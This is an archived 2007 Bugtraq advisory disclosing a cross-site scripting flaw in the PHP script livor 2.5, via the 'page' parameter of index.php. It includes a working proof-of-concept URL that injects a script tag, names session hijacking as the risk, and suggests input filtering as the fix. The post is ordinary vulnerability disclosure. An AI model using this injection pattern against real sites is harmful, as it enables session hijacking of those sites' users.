[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
livor 2.5 Cross-Site Scripting Vulnerability
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: livor 2.5 Cross-Site Scripting Vulnerability
- From: rko.thelegendkiller@xxxxxxxxx
- Date: 6 Apr 2007 08:51:39 -0000
/* livor 2.5 Cross-Site Scripting Vulnerability
*/
//Author: Arham Muhammad
//Source: http://www.arizona-dream.com/Usa/Divers/scriptsphp/scripts/livor.zip
//Vulnerable File: index.php
//XsS:
http://victim/path/index.php?page=//</script><script>alert(/xss/);</script>
//Risk: Session Hijack
//Fix: The Variable "page" Need To Be Properly Filtered To Avoid Cross-Site
Scripting Attempt!
//Greets: USMAN,tushy,Hackman,str0ke